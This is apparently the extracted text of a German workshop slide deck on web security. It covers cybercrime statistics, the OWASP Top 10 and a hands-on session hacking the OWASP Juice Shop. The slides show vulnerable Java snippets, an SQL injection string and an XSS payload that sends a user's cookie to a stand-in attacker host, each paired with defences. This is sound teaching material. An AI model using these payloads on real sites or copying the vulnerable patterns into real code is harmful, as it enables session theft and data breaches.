Cyber Security - · PDF fileCyber Security Cyber Crime Cybercrime, or computer related...

Post on 07-Feb-2018

228 views 5 download

transcript

Cyber Security OWASP Juice Shop - how to hack an intentionally insecure webshop

3 Praxisteil (60 min)Wir hacken den OWASP Juice Shop

2 Cyber Security im Unternehmen (30 min)Einblick in die Sicherungsmaßnahmen bei Dräger

Basics (30 min)Cyber Security, Cyber Crime, Zahlen & Fakten, OWASP Top 101

Wired (2017), https://www.wired.com/2017/04/hackers-hijacked-banks-entire-online-operation/

Cyber Security

Cyber Crime

Cybercrime, or computer related crime, is crime that involves a computer and a network. The

computer may have been used in the commission of a crime, or it

may be the target. Moore, R. (2005)

Cyber crime: Investigating High-Technology Computer Crime

Cybersecurity [..] is the protection of computer systems from the

theft or damage to the hardware, software or the information on

them, as well as from disruption or misdirection of the services

they provide. Gasser, Morrie (1988)

Building a Secure Computer System

Cyber Crime

Schaden für die globale Wirtschaft / jährlich350 Mrd. €250.000

Ø 9 Mio. €

Neue Malwarevarianten gefunden / täglich

Kosten für US Konzerne / jährlich

71 % Aller erfolgreichen Cyberattacken in Unternehmen mit weniger als 100 Mitarbeitern

Veriz

on (2

016)

, Ver

izon’s

201

6 Da

ta B

reac

h In

vest

igat

ions

Rep

ort

McA

ffee

(201

4), E

stim

ate

the

Glo

bal C

ost o

f Cyb

ercr

ime

2014

~

36%

Unterbrechung des Geschäftsbetriebs

39%

Datenverlust/ Diebstahl

20%

Umsatzverlust

5%

Andere Kosten

Anteil am Gesamtschaden

2016

McAfee (2016), 2016 Cost of Cyber Crime Study & the Risk of Business Innovation

Akteure

Staaten und Geheimdienste

Wirtschafts-spione

Cyber-Terroristen

95%Cyber-Kriminelle

Cyber-Aktivisten Skriptkiddies

Mikko Hypponen - Chief Research Officer of F-Secure (2016)

71% 29%VS

< 100 MitarbeiterWeb-based Attacks

MalwarePhishing

Social engineering

KonzerneDenial of ServiceMalicious InsidersMalicious CodeStolen Devices

Verizon (2016), Verizon’s 2016 Data Breach Investigations Report

Einbrüche nach Vektor

Alle anderen

POS Intrusions

Angriffe auf Webapps

40%39%

21%

Verizon (2016), Verizon’s 2016 Data Breach Investigations Report

Programmierfehler, ausstehende Updates

Implementierung

Spezifikation von Funktionsweisen, Schnittstellen, Datenformaten, Übertragungsprotokollen

Design

Ungeeignete KonfigurationKonfiguration

Bewusste/unbewusste Sicherheitsvorfälle durch Mitarbeiter

Mensch

Sicherheitslücken

BSI (2012), Cyber-Bedrohungen – ein Einstieg, 2012

Non-Profit-Organisation

Ziel ist Sicherheit von Diensten und Anwendungen im WWW verbessern

owasp.org

Erstveröffentlichung 2003

Liste der 10 aktuell bedeutendsten Sicherheitslücken in Webapplikationen

Exemplarische Angriffs- & Verteidigungsstrategien

Top 10Organisation

OWASP

Weitere ProjekteDevelopers Guide, Cheat Sheet Series, Testing Guide, Code Review Guide

A2 – Fehler in Authentifizierung und Session-Management

A1 – Injections

A3 – Cross-Site Scripting (XSS)

A4 – Unsichere direkte Objektreferenzen

A5 – Sicherheitsrelevante Fehlkonfiguration

A6 – Verlust der Vertraulichkeit sensibler Daten

A7 – Fehlerhafte Authorisierung auf Anwendungsebene

A8 – Cross-Site Request Forgery (CSRF)

A9 – Nutzung von Komponenten mit bekannten Schwachstellen

A10 – Ungeprüfte Um- und Weiterleitungen

OWASP Top 10

James Hobson (2014), http://hackaday.com/2014/04/04/sql-injection-fools-speed-traps-and-clears-your-record/

Injections

Verarbeitung von Client-Daten:

http://example.com/app/accountView?id=[0-9]+

String query = "SELECT * FROM accounts WHERE id='" + request.getParameter("id") + "'";

Angriffsszenarien

- Prepared Statements

- Stored Procedures

- Escapen von User-Input

- Whitelist Input-Validation

- DB Privilegien minimieren

Schutz

Missbräuchlicher Abfrage:

http://example.com/app/accountView?id=' or ‚1'='1

SELECT * FROM accounts WHERE id='' OR '1'='1';

Auth- & Session-Management

Session-ID in URL

http://example.com/flight/37?jsessionid=123

Mögliche Übernahme des Logins / Session-Fixation

Angriffsszenarien

- Zentrales Authentifizierung und Session-Management

- Verschlüsselte Übertragung

- Session-ID unvorhersehbar

- Keine Session-ID in URL

- Session-Fixation verhindern

- Session Timeout, Invalidierung bei Logout

- Schutz vor BruteForce etc.

Schutz

Anwendungs-Timeout falsch konfiguriert

Nutzung eines öffentlichen PCs

Cross-Site Scripting (XSS)

Sucuri (2014), https://blog.sucuri.net/2014/06/serious-cross-site-scripting-vulnerability-in-tweetdeck-twitter.html

Cross-Site Scripting (XSS)

Ungefilterte Client-Daten:

(String) page += „<h1>Guestbook</h1>“; for (String comment: comments) { page += „<p>“ + comment.message + „</p>“; }

Angriffsszenarien

- Kontextabhängig escapen

- Eingabeprüfung über Whitelisting

- HTTPOnly Cookie-Flag (kein JS Zugriff)

- Content Security Policy (browserbasiert)

Schutz

Manipulierte Eingabe führt zur Codeausführung im Browser und sendet Session-ID des Benutzers an den Angreifer.

<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? foo=‚+document.cookie</script>

Unsichere Objektreferenzen

EuroVPS (2015), https://www.eurovps.com/blog/security-vulnerabilities-part-2

Unsichere Objektreferenzen

Direkte Objektreferenz:

Über den API-Endpunkt werden Account-Infos für den aktuellen Anwender via Javascript abfragt:http://api.example.com/accountInfo?id=myIdDie Implementierung prüft keine Zugriffsrechte: String query = "SELECT * FROM accounts WHERE id = ?“; PreparedStatement pstmt = connection.prepareStatement(query , … );pstmt.setString(1, request.getparameter("id")); ResultSet results = pstmt.executeQuery( );

Angriffsszenarien

- Indirekte Objektreferenzen

- Zugriffsberechtigungen bei Objektreferenzen prüfen

Schutz

Ein Angreifer kann so fremde Accounts einsehen:

http://api.example.com/accountInfo?id=notMyId

Fehlkonfiguration

Fehlkonfiguration

Standard-Benutzerkonto:

Benutzerkonto mit Standardkonto installiert, Der Angreifer entdeckt dies und erhält so Zugriff auf das System.

Directory Listing/Zugriff:

Angreifer ruft gesamten öffentliche Dateien ab, findet Relikte der Entwicklung, bzw. nicht ausreichend geschützte Dateien.

Stacktraces öffentlich:

Angreifer erhält sensible Informationen über die Implementierung, etc.

Angriffsszenarien

- Robuste Anwendungsarchitektur, Trennung und Absicherung einzelner Komponenten.

- Periodische Tests und Audits

- Identische Konfiguration aller Umgebungen

- Prozess zum schnellen Ausrollen von Softwareupdates auf allen Umgebungen.

- Verschiedene Zugangsdaten pro Umgebung

-

Schutz

Kay Röpke (2016), https://twitter.com/kroepke

Vertraulichkeit sensibler Daten

Vertraulichkeit sensibler Daten

Schwache Krypto-Verfahren:

Angreifer gelangt an gehashte Benutzerdaten und kann die mit md5 gehashten Kennwörter über Rainbow-Tables entschlüsseln]

Keine verschlüsselte Übertragung:

Angreifer liest im offenen WLAN mit, übernimmt Sitzung über mitgelesenes Cookie

Verschlüsselung ohne Public/Private-Key:

Anwendung speichert und entschlüsselt Kreditkartendaten über Secret. Angreifer gelangt an über Webapplikation an Secret und verschlüsselte Daten.

Angriffsszenarien

- Keine unnötiges Speichern vertraulicher Daten.

- Verwendung starker Algorithmen und Verschlüsselung

- Hashen von Kennwörtern mit speziellen Algorithmen (bcrypt, PBKDF2, scrypt)

- Deaktivieren von Autovervollständigung, Caching bei vertraulichen Daten.

- Klärung abzusichernder Bedrohung (intern/extern). Mit geeigneter Verschlüsselung übertragen/speichern/absichern (Public/Private-Key)

Schutz

A2 – Fehler in Authentifizierung und Session-Management

A1 – Injections

A3 – Cross-Site Scripting (XSS)

A4 – Unsichere direkte Objektreferenzen

A5 – Sicherheitsrelevante Fehlkonfiguration

A6 – Verlust der Vertraulichkeit sensibler Daten

A7 – Fehlerhafte Authorisierung auf Anwendungsebene

A8 – Cross-Site Request Forgery (CSRF)

A9 – Nutzung von Komponenten mit bekannten Schwachstellen

A10 – Ungeprüfte Um- und Weiterleitungen

OWASP Top 10

Vercacode (2015), https://www.veracode.com/directory/owasp-top-10

3 Praxisteil (60 min)Wir hacken den OWASP Juice Shop

2 Cyber Security im Unternehmen (30 min)Einblick in die Sicherungsmaßnahmen bei Dräger

Basics (30 min)Cyber Security, Cyber Crime, Zahlen & Fakten, OWASP Top 101

3 Praxisteil (60 min)Wir hacken den OWASP Juice Shop

2 Cyber Security im Unternehmen (30 min)Einblick in die Sicherungsmaßnahmen bei Dräger

Basics (30 min)Cyber Security, Cyber Crime, Zahlen & Fakten, OWASP Top 101

Wir hacken in Zweiergruppen2er-Gruppen01

Wir haben 16 Shop Instanzen für euch aufgesetzt. Shop-URLs werden gleich ausgeteilt.

Bereits installiert03

Beginnen mit den Sicherheitslüclen 1-3

10 Minuten Slots05

Ein Web-affiner schnappt sich jeweils einen Web-Unerfahrenen

Erfahren/Unerfahren02

Kommt ihr nicht weiter oder findet keinen Anfang? Einfach fragen!

Fragen erwünscht!04

Stellt vor, wie ihr vorgegangen seid.

Vorgehen präsentieren06

Martin AbrahamWeb: https://www.checkdomain.de/Email: m.abraham@checkdomain.de

Twitter: https://twitter.com/mabrahamdeXing: https://www.xing.com/martin-abraham

Github: https://github.com/mabrahamdeSlideshare: https://www.slideshare.net/MartinAbraham9

Wired (2017), How Hackers Hijacked a Bank’s Entire Online Operation - https://www.wired.com/2017/04/hackers-hijacked-banks-entire-online-operation/

Verizon (2016), Verizon’s 2016 Data Breach Investigations Report - http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/

McAffee (2014), Estimate the Global Cost of Cybercrime 2014 - https://www.mcafee.com/us/resources/reports/rp-economic-impact-cybercrime2.pdf

McAfee (2016), 2016 Cost of Cyber Crime Study & the Risk of Business Innovation - http://www.ponemon.org/library/2016-cost-of-cyber-crime-study-the-risk-of-business-innovation

VeraCode (2015), OWASP Top 10 Vulnerabilities - https://www.veracode.com/directory/owasp-top-10

QuellenBSI (2012), Cyber-Bedrohungen – ein Einstieg - https://www.allianz-fuer-cybersicherheit.de/ACS/DE/_/downloads/BSI-CS_037.pdf?__blob=publicationFile&v=2

Hackaday (2014), SQL Injections fools speed traps and clears your records - http://hackaday.com/2014/04/04/sql-injection-fools-speed-traps-and-clears-your-record/

Sucuri (2014), Serious Cross Site Scripting Vulnerability in TweetDeck - https://blog.sucuri.net/2014/06/serious-cross-site-scripting-vulnerability-in-tweetdeck-twitter.html

EuroVPS (2015), Your site’s top 10 security vulnerabilities: Part 2 -https://www.eurovps.com/blog/security-vulnerabilities-part-2